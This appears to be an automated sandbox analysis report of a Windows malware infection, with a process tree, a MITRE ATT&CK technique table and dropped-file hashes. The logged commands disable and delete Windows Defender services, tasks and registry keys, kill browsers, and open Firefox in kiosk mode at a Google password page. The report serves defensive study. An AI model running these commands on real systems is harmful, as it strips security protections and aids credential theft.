                                                      takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                                                      12⤵
                                                      • Possible privilege escalation attempt
                                                      • Modifies file permissions
                                                      PID:2660
                                                    • C:\Windows\system32\icacls.exe
                                                      icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                                                      12⤵
                                                      • Possible privilege escalation attempt
                                                      • Modifies file permissions
                                                      PID:2532
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "WinDefend"
                                                      12⤵
                                                      • Launches sc.exe
                                                      PID:2840
                                                    • C:\Windows\system32\sc.exe
                                                      sc delete "WinDefend"
                                                      12⤵
                                                      • Launches sc.exe
                                                      PID:2560
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                                                      12⤵
                                                        PID:2272
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "MDCoreSvc"
                                                        12⤵
                                                        • Launches sc.exe
                                                        PID:2828
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "MDCoreSvc"
                                                        12⤵
                                                        • Launches sc.exe
                                                        PID:3048
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                                                        12⤵
                                                          PID:2884
                                                        • C:\Windows\system32\sc.exe
                                                          sc stop "WdNisSvc"
                                                          12⤵
                                                          • Launches sc.exe
                                                          PID:2880
                                                        • C:\Windows\system32\sc.exe
                                                          sc delete "WdNisSvc"
                                                          12⤵
                                                          • Launches sc.exe
                                                          PID:1792
                                                        • C:\Windows\system32\reg.exe
                                                          reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                                                          12⤵
                                                            PID:2336
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop "Sense"
                                                            12⤵
                                                            • Launches sc.exe
                                                            PID:1984
                                                          • C:\Windows\system32\sc.exe
                                                            sc delete "Sense"
                                                            12⤵
                                                            • Launches sc.exe
                                                            PID:1376
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                                            12⤵
                                                              PID:1964
                                                            • C:\Windows\system32\sc.exe
                                                              sc stop "wscsvc"
                                                              12⤵
                                                              • Launches sc.exe
                                                              PID:2708
                                                            • C:\Windows\system32\sc.exe
                                                              sc delete "wscsvc"
                                                              12⤵
                                                              • Launches sc.exe
                                                              PID:3064
                                                            • C:\Windows\system32\reg.exe
                                                              reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                                              12⤵
                                                                PID:1652
                                                              • C:\Windows\system32\sc.exe
                                                                sc stop "SgrmBroker"
                                                                12⤵
                                                                • Launches sc.exe
                                                                PID:1960
                                                              • C:\Windows\system32\sc.exe
                                                                sc delete "SgrmBroker"
                                                                12⤵
                                                                • Launches sc.exe
                                                                PID:1060
                                                              • C:\Windows\system32\reg.exe
                                                                reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                                                12⤵
                                                                  PID:1568
                                                                • C:\Windows\system32\sc.exe
                                                                  sc stop "SecurityHealthService"
                                                                  12⤵
                                                                  • Launches sc.exe
                                                                  PID:1004
                                                                • C:\Windows\system32\sc.exe
                                                                  sc delete "SecurityHealthService"
                                                                  12⤵
                                                                  • Launches sc.exe
                                                                  PID:1508
                                                                • C:\Windows\system32\reg.exe
                                                                  reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                                                  12⤵
                                                                    PID:1500
                                                                  • C:\Windows\system32\sc.exe
                                                                    sc stop "webthreatdefsvc"
                                                                    12⤵
                                                                    • Launches sc.exe
                                                                    PID:236
                                                                  • C:\Windows\system32\sc.exe
                                                                    sc delete "webthreatdefsvc"
                                                                    12⤵
                                                                    • Launches sc.exe
                                                                    PID:2356
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                                                    12⤵
                                                                      PID:3052
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc stop "webthreatdefusersvc"
                                                                      12⤵
                                                                      • Launches sc.exe
                                                                      PID:2332
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc delete "webthreatdefusersvc"
                                                                      12⤵
                                                                      • Launches sc.exe
                                                                      PID:1592
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                                                      12⤵
                                                                        PID:2064
                                                                      • C:\Windows\system32\sc.exe
                                                                        sc stop "WdNisDrv"
                                                                        12⤵
                                                                        • Launches sc.exe
                                                                        PID:1728
                                                                      • C:\Windows\system32\sc.exe
                                                                        sc delete "WdNisDrv"
                                                                        12⤵
                                                                        • Launches sc.exe
                                                                        PID:2060
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                                                        12⤵
                                                                          PID:1884
                                                                        • C:\Windows\system32\sc.exe
                                                                          sc stop "WdBoot"
                                                                          12⤵
                                                                          • Launches sc.exe
                                                                          PID:552
                                                                        • C:\Windows\system32\sc.exe
                                                                          sc delete "WdBoot"
                                                                          12⤵
                                                                          • Launches sc.exe
                                                                          PID:2176
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                                                          12⤵
                                                                            PID:2712
                                                                          • C:\Windows\system32\sc.exe
                                                                            sc stop "WdFilter"
                                                                            12⤵
                                                                            • Launches sc.exe
                                                                            PID:2444
                                                                          • C:\Windows\system32\sc.exe
                                                                            sc delete "WdFilter"
                                                                            12⤵
                                                                            • Launches sc.exe
                                                                            PID:2424
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                                            12⤵
                                                                              PID:2548
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc stop "SgrmAgent"
                                                                              12⤵
                                                                              • Launches sc.exe
                                                                              PID:376
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc delete "SgrmAgent"
                                                                              12⤵
                                                                              • Launches sc.exe
                                                                              PID:888
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                                              12⤵
                                                                                PID:1980
                                                                              • C:\Windows\system32\sc.exe
                                                                                sc stop "MsSecWfp"
                                                                                12⤵
                                                                                • Launches sc.exe
                                                                                PID:2440
                                                                              • C:\Windows\system32\sc.exe
                                                                                sc delete "MsSecWfp"
                                                                                12⤵
                                                                                • Launches sc.exe
                                                                                PID:2292
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                                                12⤵
                                                                                  PID:1096
                                                                                • C:\Windows\system32\sc.exe
                                                                                  sc stop "MsSecFlt"
                                                                                  12⤵
                                                                                  • Launches sc.exe
                                                                                  PID:1628
                                                                                • C:\Windows\system32\sc.exe
                                                                                  sc delete "MsSecFlt"
                                                                                  12⤵
                                                                                  • Launches sc.exe
                                                                                  PID:580
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                                                  12⤵
                                                                                    PID:1180
                                                                                  • C:\Windows\system32\sc.exe
                                                                                    sc stop "MsSecCore"
                                                                                    12⤵
                                                                                    • Launches sc.exe
                                                                                    PID:1448
                                                                                  • C:\Windows\system32\sc.exe
                                                                                    sc delete "MsSecCore"
                                                                                    12⤵
                                                                                    • Launches sc.exe
                                                                                    PID:1660
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                                                    12⤵
                                                                                      PID:808
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                                                      12⤵
                                                                                        PID:1132
                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                                                        12⤵
                                                                                          PID:1440
                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                                                          12⤵
                                                                                            PID:2156
                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                                            12⤵
                                                                                              PID:1504
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              sc stop ddrver
                                                                                              12⤵
                                                                                              • Launches sc.exe
                                                                                              PID:2392
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              sc delete ddrver
                                                                                              12⤵
                                                                                              • Launches sc.exe
                                                                                              PID:1284
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10341370101\5792319151.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10341370101\5792319151.exe"
                                                                                    7⤵
                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                    • Checks BIOS information in registry
                                                                                    • Executes dropped EXE
                                                                                    • Identifies Wine through registry keys
                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:1644
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10341380101\b6a245b7ee.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10341380101\b6a245b7ee.exe"
                                                                                    7⤵
                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                    • Checks BIOS information in registry
                                                                                    • Executes dropped EXE
                                                                                    • Identifies Wine through registry keys
                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:2832
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10341390101\0596495a6d.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10341390101\0596495a6d.exe"
                                                                                    7⤵
                                                                                    • Executes dropped EXE
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:3048
                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                      taskkill /F /IM firefox.exe /T
                                                                                      8⤵
                                                                                      • Kills process with taskkill
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2768
                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                      taskkill /F /IM chrome.exe /T
                                                                                      8⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Kills process with taskkill
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1996
                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                      taskkill /F /IM msedge.exe /T
                                                                                      8⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Kills process with taskkill
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2436
                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                      taskkill /F /IM opera.exe /T
                                                                                      8⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Kills process with taskkill
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1568
                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                      taskkill /F /IM brave.exe /T
                                                                                      8⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Kills process with taskkill
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:236
                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                                                      8⤵
                                                                                        PID:1592
                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                                                          9⤵
                                                                                          • Checks processor information in registry
                                                                                          • Modifies registry class
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                          • Suspicious use of SendNotifyMessage
                                                                                          PID:2064
                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2064.0.731660622\2040672125" -parentBuildID 20221007134813 -prefsHandle 1284 -prefMapHandle 1088 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {232423a8-3352-48d6-8363-fdb8c1414dc8} 2064 "\\.\pipe\gecko-crash-server-pipe.2064" 1356 103d8f58 gpu
                                                                                            10⤵
                                                                                              PID:1824
                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2064.1.604034910\202633602" -parentBuildID 20221007134813 -prefsHandle 1556 -prefMapHandle 1552 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c603d0b-05e9-419f-94d8-33b4539e5b2e} 2064 "\\.\pipe\gecko-crash-server-pipe.2064" 1568 f1eb258 socket
                                                                                              10⤵
                                                                                                PID:2420
                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2064.2.1082916750\1649758128" -childID 1 -isForBrowser -prefsHandle 1904 -prefMapHandle 1900 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {24475975-a2e9-4d14-9c95-2b27be67b3d2} 2064 "\\.\pipe\gecko-crash-server-pipe.2064" 1916 19a54d58 tab
                                                                                                10⤵
                                                                                                  PID:2392
                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2064.3.588766082\1745134743" -childID 2 -isForBrowser -prefsHandle 2732 -prefMapHandle 2728 -prefsLen 26151 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d77e0f06-5d80-4b9c-b5d2-196bee1cb1cd} 2064 "\\.\pipe\gecko-crash-server-pipe.2064" 2744 1e222558 tab
                                                                                                  10⤵
                                                                                                    PID:2748
                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2064.4.408728737\975211739" -childID 3 -isForBrowser -prefsHandle 3780 -prefMapHandle 3776 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8aca041-2dea-4539-973e-363ea928b179} 2064 "\\.\pipe\gecko-crash-server-pipe.2064" 3792 20014558 tab
                                                                                                    10⤵
                                                                                                      PID:2328
                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2064.5.1083109482\87338555" -childID 4 -isForBrowser -prefsHandle 3904 -prefMapHandle 3908 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbc816a9-21ac-45c9-a2d2-5da07f469b60} 2064 "\\.\pipe\gecko-crash-server-pipe.2064" 3892 200f8b58 tab
                                                                                                      10⤵
                                                                                                        PID:2448
                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2064.6.2049547544\829329289" -childID 5 -isForBrowser -prefsHandle 4080 -prefMapHandle 4084 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {58969c22-33eb-4857-935d-e499c27a71cb} 2064 "\\.\pipe\gecko-crash-server-pipe.2064" 4068 200fb258 tab
                                                                                                        10⤵
                                                                                                          PID:1444
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10341400101\aba3392099.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10341400101\aba3392099.exe"
                                                                                                    7⤵
                                                                                                    • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                    • Modifies Windows Defender Real-time Protection settings
                                                                                                    • Modifies Windows Defender TamperProtection settings
                                                                                                    • Modifies Windows Defender notification settings
                                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                    • Checks BIOS information in registry
                                                                                                    • Executes dropped EXE
                                                                                                    • Identifies Wine through registry keys
                                                                                                    • Windows security modification
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1820
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10341410101\5c7ccbab54.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10341410101\5c7ccbab54.exe"
                                                                                                    7⤵
                                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                    • Checks BIOS information in registry
                                                                                                    • Executes dropped EXE
                                                                                                    • Identifies Wine through registry keys
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3300
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10341430101\f601398bc7.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10341430101\f601398bc7.exe"
                                                                                                    7⤵
                                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                    • Checks BIOS information in registry
                                                                                                    • Executes dropped EXE
                                                                                                    • Identifies Wine through registry keys
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3660
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\10341430101\f601398bc7.exe"
                                                                                                      8⤵
                                                                                                        PID:3844
                                                                                          • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                                                                                            "C:\Users\Admin\AppData\Local\Temp\267978\Exam.com"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:372
                                                                                          • C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:2140
                                                                                          • C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:2724

                                                                                        Network

                                                                                        MITRE ATT&CK Enterprise v15

                                                                                        Reconnaissance

                                                                                        Resource Development

                                                                                        Initial Access

                                                                                        Execution

                                                                                        Command and Scripting Interpreter

                                                                                        1
                                                                                        T1059

                                                                                        PowerShell

                                                                                        1
                                                                                        T1059.001

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        System Services

                                                                                        2
                                                                                        T1569

                                                                                        Service Execution

                                                                                        2
                                                                                        T1569.002

                                                                                        Persistence

                                                                                        Boot or Logon Autostart Execution

                                                                                        1
                                                                                        T1547

                                                                                        Registry Run Keys / Startup Folder

                                                                                        1
                                                                                        T1547.001

                                                                                        Create or Modify System Process

                                                                                        6
                                                                                        T1543

                                                                                        Windows Service

                                                                                        6
                                                                                        T1543.003

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        Privilege Escalation

                                                                                        Boot or Logon Autostart Execution

                                                                                        1
                                                                                        T1547

                                                                                        Registry Run Keys / Startup Folder

                                                                                        1
                                                                                        T1547.001

                                                                                        Create or Modify System Process

                                                                                        6
                                                                                        T1543

                                                                                        Windows Service

                                                                                        6
                                                                                        T1543.003

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        Defense Evasion

                                                                                        File and Directory Permissions Modification

                                                                                        1
                                                                                        T1222

                                                                                        Impair Defenses

                                                                                        6
                                                                                        T1562

                                                                                        Disable or Modify Tools

                                                                                        5
                                                                                        T1562.001

                                                                                        Modify Registry

                                                                                        8
                                                                                        T1112

                                                                                        Subvert Trust Controls

                                                                                        1
                                                                                        T1553

                                                                                        Install Root Certificate

                                                                                        1
                                                                                        T1553.004

                                                                                        Virtualization/Sandbox Evasion

                                                                                        2
                                                                                        T1497

                                                                                        Credential Access

                                                                                        Unsecured Credentials

                                                                                        1
                                                                                        T1552

                                                                                        Credentials In Files

                                                                                        1
                                                                                        T1552.001

                                                                                        Discovery

                                                                                        Process Discovery

                                                                                        1
                                                                                        T1057

                                                                                        Query Registry

                                                                                        6
                                                                                        T1012

                                                                                        System Information Discovery

                                                                                        3
                                                                                        T1082

                                                                                        System Location Discovery

                                                                                        1
                                                                                        T1614

                                                                                        System Language Discovery

                                                                                        1
                                                                                        T1614.001

                                                                                        Virtualization/Sandbox Evasion

                                                                                        2
                                                                                        T1497

                                                                                        Lateral Movement

                                                                                        Collection

                                                                                        Data from Local System

                                                                                        1
                                                                                        T1005

                                                                                        Command and Control

                                                                                        Exfiltration

                                                                                        Impact

                                                                                        Service Stop

                                                                                        1
                                                                                        T1489

                                                                                        Replay Monitor

                                                                                        Loading Replay Monitor...

                                                                                        Downloads

                                                                                        • C:\Temp\TCyXqVw31.hta
                                                                                          Filesize

                                                                                          779B

                                                                                          MD5

                                                                                          39c8cd50176057af3728802964f92d49

                                                                                          SHA1

                                                                                          68fc10a10997d7ad00142fc0de393fe3500c8017

                                                                                          SHA256

                                                                                          f685edf8437c0b505f5e366d8b1cb79e7770361cc4906240e7f8c8ad32c94e84

                                                                                          SHA512

                                                                                          cf563b2b5a3553acf3a91298936b904abf87620c2fc582bcdb45dec5d4b877bef5ae81feae4b741e1aee1a916e543b5f6914d9c494d2aa33bc6f15c6fc904cc6

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                                                                                          Filesize

                                                                                          71KB

                                                                                          MD5

                                                                                          83142242e97b8953c386f988aa694e4a

                                                                                          SHA1

                                                                                          833ed12fc15b356136dcdd27c61a50f59c5c7d50

                                                                                          SHA256

                                                                                          d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

                                                                                          SHA512

                                                                                          bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\n3lsnn48.default-release\activity-stream.discovery_stream.json.tmp
                                                                                          Filesize

                                                                                          26KB

                                                                                          MD5

                                                                                          e7fcbc69bd810ae48fecce2e7964bad3

                                                                                          SHA1

                                                                                          9c7fcd96aab041774b4d91535c85935cc914efbe

                                                                                          SHA256

                                                                                          2c0c73858f26ad7591f51de656e219c1fa6862896a1224ab0905e758da891ebe

                                                                                          SHA512

                                                                                          fcdd45b7720988f1b7c1e9430cdc5d76afecc382e5538940816927a52a2d6a4e49ec6520a3abeaf4ceef19c28c63302f2cb5cc0caad59bff3ea8dfb3aecb7d72

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\n3lsnn48.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
                                                                                          Filesize

                                                                                          15KB

                                                                                          MD5

                                                                                          96c542dec016d9ec1ecc4dddfcbaac66

                                                                                          SHA1

                                                                                          6199f7648bb744efa58acf7b96fee85d938389e4

                                                                                          SHA256

                                                                                          7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

                                                                                          SHA512

                                                                                          cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\TempRVYEY510HVKRJJY3LS4JCYM2A6VB1W9E.EXE
                                                                                          Filesize

                                                                                          1.8MB

                                                                                          MD5

                                                                                          df504a29ad522d6eabe6258886d296bc

                                                                                          SHA1

                                                                                          70d007b95628877924e5a41cceabcba93bc46a80

                                                                                          SHA256

                                                                                          c0472272fbb70a86f21f0b3f156a74e29c9cb3b9c56fefc5594e90879144d4b9

                                                                                          SHA512

                                                                                          3c356a28dbc7bd1e3c3219cb6f1c55f8ed68702d8e814d9e4de47a0fdb1ebbbaeacc1d7375b157fba7cfaf2487e2a2adde26db121c6f1c5ea1d1c8ce5085ac79

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Temp\10340260101\9e426d06c1.exe
                                                                                          Filesize

                                                                                          1.8MB

                                                                                          MD5

                                                                                          47b3f376188efdf744ce07f23cd8da94

                                                                                          SHA1

                                                                                          fd29dab640191d853d8c9fd632514ea0a4cba0a8

                                                                                          SHA256

                                                                                          43ffcbde001d60632d173e32239142ac13f00664858edf74208559ffb59a9d55

                                                                                          SHA512

                                                                                          ed6c4b9cfbaa028d468884f8cdbef7340a4890610860c95df10354bd9026b02839df355eee8356e5c9f466f9e278bf9b3a43311c7fc9da6f11aa9cc4986e85f7

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe
                                                                                          Filesize

                                                                                          1.4MB

                                                                                          MD5

                                                                                          49e9b96d58afbed06ae2a23e396fa28f

                                                                                          SHA1

                                                                                          3a4be88fa657217e2e3ef7398a3523acefc46b45

                                                                                          SHA256

                                                                                          4d0f0f1165c992c074f2354604b4ee8e1023ba67cb2378780313e4bb7e91c225

                                                                                          SHA512

                                                                                          cd802e5717cf6e44eaa33a48c2e0ad7144d1927d7a88f6716a1b775b502222cc358d4e37bdbd17ebe37e0d378bb075463bce27619b35d60b087c73925a44a6d4

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
                                                                                          Filesize

                                                                                          4.9MB

                                                                                          MD5

                                                                                          c909efcf6df1f5cab49d335588709324

                                                                                          SHA1

                                                                                          43ace2539e76dd0aebec2ce54d4b2caae6938cd9

                                                                                          SHA256

                                                                                          d749497d270374cba985b0b93c536684fc69d331a0725f69e2d3ff0e55b2fbc6

                                                                                          SHA512

                                                                                          68c95d27f47eeac10e8500cd8809582b771ab6b1c97a33d615d8edad997a6ab538c3c9fbb5af7b01ebe414ddaeaf28c0f1da88b80fbcb0305e27c1763f7c971a

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Temp\10341150101\c587569be1.exe
                                                                                          Filesize

                                                                                          938KB

                                                                                          MD5

                                                                                          53fa587748955bc09f4fb41190e2a7a2

                                                                                          SHA1

                                                                                          98b33c0cec873108ab110e629bb06395677f1b2a

                                                                                          SHA256

                                                                                          db0be9d6888e82bf26bf94feb916fadd8362f14fd689efd4b56803a66eb6038e

                                                                                          SHA512

                                                                                          e25e83715b34e36f6cae210af0d38e86ea0d927ca35ff62247eb400c82393e1c04a49143d779b7a66e51d5c38e44401dde2bfc26106676ed8d38f02bb5a0b84c

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Temp\10341160121\am_no.cmd
                                                                                          Filesize

                                                                                          1KB

                                                                                          MD5

                                                                                          cedac8d9ac1fbd8d4cfc76ebe20d37f9

                                                                                          SHA1

                                                                                          b0db8b540841091f32a91fd8b7abcd81d9632802

                                                                                          SHA256

                                                                                          5e951726842c371240a6af79d8da7170180f256df94eac5966c07f04ef4d120b

                                                                                          SHA512

                                                                                          ce383ffef8c3c04983e752b7f201b5df2289af057e819cdf7310a55a295790935a70e6a0784a6fd1d6898564a3babab1ffcfbaa0cc0d36e5e042adeb3c293fa5

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Temp\10341310101\7IIl2eE.exe
                                                                                          Filesize

                                                                                          1.2MB

                                                                                          MD5

                                                                                          7d842fd43659b1a8507b2555770fb23e

                                                                                          SHA1

                                                                                          3ae9e31388cbc02d4b68a264bbfaa6f98dd0c328

                                                                                          SHA256

                                                                                          66b181b9b35cbbdff3b8d16ca3c04e0ab34d16f5ebc55a9a8b476a1feded970a

                                                                                          SHA512

                                                                                          d7e0a845a1a4e02f0e0e9cf13aa8d0014587ebef1d9f3b16f7d3d9f3dc5cdc2a17aa969af81b5dc4f140b2d540820d39317b604785019f1cbfa50d785970493b

                                                                                          Download Submit

                                                                                        • C:\Users\Admin\AppData\Local\Temp\10341330101\f73ae_003.exe
